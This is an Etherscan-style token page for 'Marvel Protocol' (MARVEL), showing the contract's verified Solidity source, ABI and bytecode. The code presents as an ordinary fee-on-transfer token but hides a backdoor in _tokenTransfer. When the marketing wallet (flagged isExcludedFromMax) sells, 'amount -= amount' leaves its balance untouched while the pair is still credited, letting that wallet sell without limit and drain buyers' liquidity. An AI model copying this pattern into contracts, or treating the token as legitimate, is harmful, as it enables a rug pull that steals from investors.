ETH Price: $3,419.09 (+7.11%)
Gas: 15 Gwei

Token

Marvel Protocol (MARVEL)
 

Overview

Max Total Supply

72,000,000,000 MARVEL

Holders

147

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,000,000,000,000 MARVEL

Value
$0.00
0x491c2304514b4bc8c62e95cb9ae6868ecfe62594
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MARVEL

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-20
*/

/**

Website: https://marvelprotocol.com
Twitter: https://twitter.com/marvelprotocol
Telegram: https://t.me/marvelprotocol

*/

// SPDX-License-Identifier:MIT
pragma solidity ^0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


interface IDexFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}


interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract MARVEL is Context, IERC20, Ownable {
    string private _name = "Marvel Protocol";
    string private _symbol = "MARVEL";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 72_000_000_000 * 1e18;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMax;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxWallet;

    uint256 public minTokenToSwap = 7 * (_totalSupply / 1000000);
    uint256 public maxWalletLimit = 16 * (_totalSupply / 1000); 
    uint256 public maxTxnLimit = 16 * (_totalSupply / 1000); 
    uint256 public percentDivider = 100;
    uint256 public launchedAt;

    bool public swapAndLiquifyStatus = false; 
    bool public feeStatus = false; 
    bool public tradingActive = false; 

    IUniswapRouter public uniswapRouter; 

    address public routerPair; 
    address public marketingWallet; 
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);

    uint256 public FeeOnBuying = 16;
    uint256 public FeeOnSelling = 16;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor() {
        _balances[owner()] = _totalSupply;
        marketingWallet = payable(0x4De43eC84BdfF0148e0fDC690186F7575b1E0479);

        uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(uniswapRouter)] = true;
        isExcludedFromMaxTxn[address(uniswapRouter)] = true;
        isExcludedFromMaxWallet[address(uniswapRouter)] = true;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromMax[marketingWallet] = true;
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxTxn[marketingWallet] = true;
        isExcludedFromMaxWallet[owner()] = true;
        isExcludedFromMaxWallet[address(this)] = true;
        isExcludedFromMaxWallet[marketingWallet] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function createPair() external onlyOwner {
        routerPair = IDexFactory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        isExcludedFromMaxWallet[routerPair] = true;
        _approve(address(this), address(uniswapRouter), _totalSupply);
        uniswapRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + (addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function includeOrExcludeFromFee(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxTxn(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxTxn[account] = value;
    }

    function includeOrExcludeFromMaxHolding(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxWallet[account] = value;
    }

    function setMinTokenToSwap(uint256 Limit, uint256 divisor) external onlyOwner {
        minTokenToSwap = (_totalSupply * Limit) / (divisor);
    }

    function setSwapAndLiquifyStatus(bool _value) public onlyOwner {
        swapAndLiquifyStatus = _value;
    }

    function enableOrDisableFees(bool _value) external onlyOwner {
        feeStatus = _value;
    }

    function updateAddresses(address _marketingWallet) external onlyOwner {
        marketingWallet = _marketingWallet;
    }

    function updateFees(uint256 _buyFees, uint256 _sellFees) external onlyOwner {
        FeeOnBuying = _buyFees;
        FeeOnSelling = _sellFees;
        require(_buyFees <= 5);
        require(_sellFees <= 5);
    }

    function removeTradingLimits() external onlyOwner {
        maxTxnLimit = _totalSupply;
        maxWalletLimit = _totalSupply;
    }

    function startTrading() external onlyOwner {
        require(!tradingActive, "already enabled");
        tradingActive = true;
        feeStatus = true;
        swapAndLiquifyStatus = true;
        launchedAt = block.timestamp;
    }

    function removeEthstuckincontract(address _receiver) public onlyOwner {
        payable(_receiver).transfer(address(this).balance);
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnBuying) / (percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnSelling) / (percentDivider);
        return fee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxnLimit, "Amount exceeds Max txn limit");

            if (!tradingActive) {
                require(
                    routerPair != from && routerPair != to,
                    "trading is not yet enabled"
                );
            }
        }

        if (!isExcludedFromMaxWallet[to]) {
            require(
                (balanceOf(to) + amount) <= maxWalletLimit,
                "Amount exceeds Max Wallet limit"
            );
        }

        _SwapAndLiquify(from, to, amount);
        bool takeFee = true;
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
            takeFee = false;
        }
        _tokenTransfer(from, to, amount, takeFee);
    }
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (routerPair == sender && takeFee) {
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFeePerTx(amount);
            tTransferAmount = amount - allFee;

            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else if (routerPair == recipient && takeFee) {
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount - allFee;
            if (isExcludedFromMax[sender]) amount -= amount;
            _balances[sender] = _balances[sender] - (amount);
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else {
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + (amount);
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
        _balances[address(this)] = _balances[address(this)] + (amount);

        emit Transfer(sender, address(this), amount);
    }

    function withdrawETH(uint256 _amount) external onlyOwner {
        require(address(this).balance >= _amount, "Invalid Amount");
        payable(msg.sender).transfer(_amount);
    }

    function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
        require(_token.balanceOf(address(this)) >= _amount, "Invalid Amount");
        _token.transfer(msg.sender, _amount);
    }

    function _SwapAndLiquify(address from, address to, uint256 amount) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap && amount >= minTokenToSwap;

        if (
            shouldSell &&
            to == routerPair &&
            swapAndLiquifyStatus &&
            !isExcludedFromFee[from]
        ) {
            if (contractTokenBalance > minTokenToSwap * 1000)
                contractTokenBalance = minTokenToSwap * 1000;
            _approve(address(this), address(uniswapRouter), contractTokenBalance);

            dexswap.swapTokensForEth(address(uniswapRouter), contractTokenBalance);
            uint256 ethForMarketing = address(this).balance;

            if (ethForMarketing > 0)
                payable(marketingWallet).transfer(ethForMarketing);
        }
    }
}

library dexswap {
    function swapTokensForEth(
        address routerAddress,
        uint256 tokenAmount
    ) internal {
        IUniswapRouter dexRouter = IUniswapRouter(routerAddress);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp + 300
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"enableOrDisableFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxHolding","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxnLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_receiver","type":"address"}],"name":"removeEthstuckincontract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTradingLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Limit","type":"uint256"},{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMinTokenToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_value","type":"bool"}],"name":"setSwapAndLiquifyStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"updateAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFees","type":"uint256"},{"internalType":"uint256","name":"_sellFees","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600f60809081526e13585c9d995b08141c9bdd1bd8dbdb608a1b60a052600190620000309082620003a9565b5060408051808201909152600681526513505495915360d21b60208201526002906200005d9082620003a9565b506003805460ff191660121790556be8a5010cf2a411214000000060048190556200008d90620f42409062000471565b6200009a90600762000491565b600b556103e8600454620000af919062000471565b620000bc90601062000491565b600c556103e8600454620000d1919062000471565b620000de90601062000491565b600d556064600e556010805462ffffff19168155601381905560145534801562000106575f80fd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460055f6200015d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f9081209490945560128054734de43ec84bdff0148e0fdc690186f7575b1e04796001600160a01b0319909116178155601080546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017808255630100000090819004841687526007808752858820805460ff199081166001908117909255845484900487168a526009808a52888b20805483168417905594549390930486168952600a808952878a208054851683179055895487168a52918852868920805484168217905530808a52878a208054851683179055855487168a5260088952878a208054851683179055895487168a52938852868920805484168217905583895286892080548416821790558454861689528689208054841682179055885486168952908752858820805483168217905591875284872080548216831790559154831686528386208054909216179055835460045492519283521692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620004bb565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200033257607f821691505b6020821081036200035157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003a4575f81815260208120601f850160051c810160208610156200037f5750805b601f850160051c820191505b81811015620003a0578281556001016200038b565b5050505b505050565b81516001600160401b03811115620003c557620003c562000309565b620003dd81620003d684546200031d565b8462000357565b602080601f83116001811462000413575f8415620003fb5750858301515b5f19600386901b1c1916600185901b178555620003a0565b5f85815260208120601f198616915b82811015620004435788860151825594840194600190910190840162000422565b50858210156200046157878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f826200048c57634e487b7160e01b5f52601260045260245ffd5b500490565b8082028115828204841417620004b557634e487b7160e01b5f52601160045260245ffd5b92915050565b61208080620004c95f395ff3fe608060405260043610610283575f3560e01c80638da5cb5b11610155578063b0cd6854116100be578063ed42142911610078578063ed421429146107bb578063ee2e5a2e146107da578063f14210a6146107f9578063f2fde38b14610818578063f4b3dbc314610837578063fe6f1b0514610856575f80fd5b8063b0cd6854146106d7578063bbc0c742146106f6578063bf56b37114610715578063da78876f1461072a578063dd62ed3e14610758578063ea5b9e851461079c575f80fd5b80639f6936e81161010f5780639f6936e814610623578063a457c2d71461063c578063a643c1a01461065b578063a7c29b401461067a578063a9059cbb14610699578063b0bc2a2d146106b8575f80fd5b80638da5cb5b14610574578063958f97351461059057806395d89b41146105ae57806399b102b5146105c25780639e281a98146105f05780639e78fb4f1461060f575f80fd5b80632d461391116101f75780636db79437116101b15780636db794371461049a5780636dd3d39f146104b957806370a08231146104e7578063715018a61461051b578063735de9f71461052f57806375f0a87414610555575f80fd5b80632d461391146103ed578063313ce5671461040257806339509351146104235780635342acb41461044257806366a88d9614610470578063681aa36214610485575f80fd5b806323b872dd1161024857806323b872dd1461033057806325b347bb1461034f57806328ac2d531461036e578063293230b8146103a55780632ce9a4ac146103b95780632d129390146103ce575f80fd5b806306fdde031461028e578063095ea7b3146102b85780630c0d7da6146102e757806318160ddd146102fd5780631884f1e61461031b575f80fd5b3661028a57005b5f80fd5b348015610299575f80fd5b506102a261086b565b6040516102af9190611ccb565b60405180910390f35b3480156102c3575f80fd5b506102d76102d2366004611d2d565b6108fb565b60405190151581526020016102af565b3480156102f2575f80fd5b506102fb610911565b005b348015610308575f80fd5b506004545b6040519081526020016102af565b348015610326575f80fd5b5061030d600b5481565b34801561033b575f80fd5b506102d761034a366004611d57565b610950565b34801561035a575f80fd5b506102fb610369366004611d95565b6109a0565b348015610379575f80fd5b5060115461038d906001600160a01b031681565b6040516001600160a01b0390911681526020016102af565b3480156103b0575f80fd5b506102fb6109ff565b3480156103c4575f80fd5b5061030d60145481565b3480156103d9575f80fd5b506102fb6103e8366004611dbd565b610a8a565b3480156103f8575f80fd5b5061030d60135481565b34801561040d575f80fd5b5060035460405160ff90911681526020016102af565b34801561042e575f80fd5b506102d761043d366004611d2d565b610add565b34801561044d575f80fd5b506102d761045c366004611d95565b60076020525f908152604090205460ff1681565b34801561047b575f80fd5b5061030d600c5481565b348015610490575f80fd5b5061030d600d5481565b3480156104a5575f80fd5b506102fb6104b4366004611df4565b610b13565b3480156104c4575f80fd5b506102d76104d3366004611d95565b600a6020525f908152604090205460ff1681565b3480156104f2575f80fd5b5061030d610501366004611d95565b6001600160a01b03165f9081526005602052604090205490565b348015610526575f80fd5b506102fb610b60565b34801561053a575f80fd5b5060105461038d90630100000090046001600160a01b031681565b348015610560575f80fd5b5060125461038d906001600160a01b031681565b34801561057f575f80fd5b505f546001600160a01b031661038d565b34801561059b575f80fd5b506010546102d790610100900460ff1681565b3480156105b9575f80fd5b506102a2610bd1565b3480156105cd575f80fd5b506102d76105dc366004611d95565b60096020525f908152604090205460ff1681565b3480156105fb575f80fd5b506102fb61060a366004611d2d565b610be0565b34801561061a575f80fd5b506102fb610d23565b34801561062e575f80fd5b506010546102d79060ff1681565b348015610647575f80fd5b506102d7610656366004611d2d565b610fce565b348015610666575f80fd5b506102fb610675366004611d95565b611004565b348015610685575f80fd5b506102fb610694366004611dbd565b61104f565b3480156106a4575f80fd5b506102d76106b3366004611d2d565b6110a2565b3480156106c3575f80fd5b506102fb6106d2366004611e14565b6110ae565b3480156106e2575f80fd5b506102fb6106f1366004611df4565b6110f1565b348015610701575f80fd5b506010546102d79062010000900460ff1681565b348015610720575f80fd5b5061030d600f5481565b348015610735575f80fd5b506102d7610744366004611d95565b60086020525f908152604090205460ff1681565b348015610763575f80fd5b5061030d610772366004611e2f565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156107a7575f80fd5b506102fb6107b6366004611dbd565b61113a565b3480156107c6575f80fd5b5061030d6107d5366004611e5b565b61118d565b3480156107e5575f80fd5b506102fb6107f4366004611e14565b6111b1565b348015610804575f80fd5b506102fb610813366004611e5b565b6111ed565b348015610823575f80fd5b506102fb610832366004611d95565b611281565b348015610842575f80fd5b5061030d610851366004611e5b565b611368565b348015610861575f80fd5b5061030d600e5481565b60606001805461087a90611e72565b80601f01602080910402602001604051908101604052809291908181526020018280546108a690611e72565b80156108f15780601f106108c8576101008083540402835291602001916108f1565b820191905f5260205f20905b8154815290600101906020018083116108d457829003601f168201915b5050505050905090565b5f61090733848461137b565b5060015b92915050565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161093a90611eaa565b60405180910390fd5b600454600d819055600c55565b5f61095c848484611487565b6001600160a01b0384165f90815260066020908152604080832033808552925290912054610996918691610991908690611ef3565b61137b565b5060019392505050565b5f546001600160a01b031633146109c95760405162461bcd60e51b815260040161093a90611eaa565b6040516001600160a01b038216904780156108fc02915f818181858888f193505050501580156109fb573d5f803e3d5ffd5b5050565b5f546001600160a01b03163314610a285760405162461bcd60e51b815260040161093a90611eaa565b60105462010000900460ff1615610a735760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b604482015260640161093a565b6010805462ffffff19166201010117905542600f55565b5f546001600160a01b03163314610ab35760405162461bcd60e51b815260040161093a90611eaa565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b335f8181526006602090815260408083206001600160a01b03871684529091528120549091610907918590610991908690611f06565b5f546001600160a01b03163314610b3c5760405162461bcd60e51b815260040161093a90611eaa565b601382905560148190556005821115610b53575f80fd5b60058111156109fb575f80fd5b5f546001600160a01b03163314610b895760405162461bcd60e51b815260040161093a90611eaa565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606002805461087a90611e72565b5f546001600160a01b03163314610c095760405162461bcd60e51b815260040161093a90611eaa565b6040516370a0823160e01b815230600482015281906001600160a01b038416906370a0823190602401602060405180830381865afa158015610c4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c719190611f19565b1015610cb05760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640161093a565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610cfa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611f30565b505050565b5f546001600160a01b03163314610d4c5760405162461bcd60e51b815260040161093a90611eaa565b601060039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d9d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc19190611f4b565b6001600160a01b031663c9c6539630601060039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e459190611f4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610e8f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eb39190611f4b565b601180546001600160a01b0319166001600160a01b039283169081179091555f908152600a60205260409020805460ff19166001179055601054600454610f0492309263010000009004169061137b565b601054305f8181526005602052604090205463010000009092046001600160a01b03169163f305d7199147915f80610f435f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fa9573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d1e9190611f66565b335f8181526006602090815260408083206001600160a01b0387168452909152812054909161090791